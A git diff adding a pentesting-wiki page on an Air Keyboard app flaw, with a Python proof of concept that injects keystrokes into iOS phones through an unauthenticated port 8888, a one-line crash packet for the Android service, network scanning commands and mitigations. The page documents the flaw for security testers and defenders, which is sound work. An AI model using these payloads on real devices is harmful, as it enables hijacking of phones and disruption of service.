diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9ab45b36071..cceb6150983 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -346,6 +346,7 @@ - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) + - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 1b0db199296..08a0fbd530d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -50,6 +50,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` +## Case Studies & Vulnerabilities + +{{#ref}} +../ios-pentesting/air-keyboard-remote-input-injection.md +{{#endref}} + ## Static Analysis First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index a98928b5f06..bc38b67b0a8 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em otool -L ``` +## Interesting Vulnerabilities & Case Studies + +{{#ref}} +air-keyboard-remote-input-injection.md +{{#endref}} + ## **References & More Resources** - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md new file mode 100644 index 00000000000..c6f998bae3c --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -0,0 +1,104 @@ +# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR + +The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**. +Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**. + +A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**). + +## 1. Service Discovery + +Scan the local network and look for the two fixed ports used by the apps: + +```bash +# iOS (input-injection) +nmap -p 8888 --open 192.168.1.0/24 + +# Android (weakly-authenticated service) +nmap -p 55535 --open 192.168.1.0/24 +``` + +On Android handsets you can identify the responsible package locally: + +```bash +adb shell netstat -tulpn | grep 55535 # no root required on emulator + +# rooted device / Termux +netstat -tulpn | grep LISTEN +ls -l /proc//cmdline # map PID → package name +``` + +## 2. Frame Format (iOS) + +The binary reveals the following parsing logic inside the `handleInputFrame()` routine: + +``` +[length (2 bytes little-endian)] +[device_id (1 byte)] +[payload ASCII keystrokes] +``` + +The declared length includes the `device_id` byte **but not** the two-byte header itself. + +## 3. Exploitation PoC + +```python +#!/usr/bin/env python3 +"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +import socket, sys + +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user + +frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) +frame += b"\x01" # device_id = 1 (hard-coded) +frame += keystrokes + +with socket.create_connection((target_ip, 8888)) as s: + s.sendall(frame) +print("Injected", keystrokes) +``` + +Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc. + +## 4. Android Companion – Denial-of-Service + +The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched. + +```python +import socket +socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS +``` + +## 5. Root Cause + +1. **No origin / integrity checks** on incoming frames (iOS). +2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android). + +## 6. Mitigations & Hardening Ideas + +* Never expose unauthenticated services on a mobile handset. +* Derive per-device secrets during onboarding and verify them before processing input. +* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control. +* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.). +* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks. + +## Detection Cheat-Sheet (Pentesters) + +```bash +# Quick one-liner to locate vulnerable devices in a /24 +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' + +# Inspect running sockets on a connected Android target +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +``` + +## References + +- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) +- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file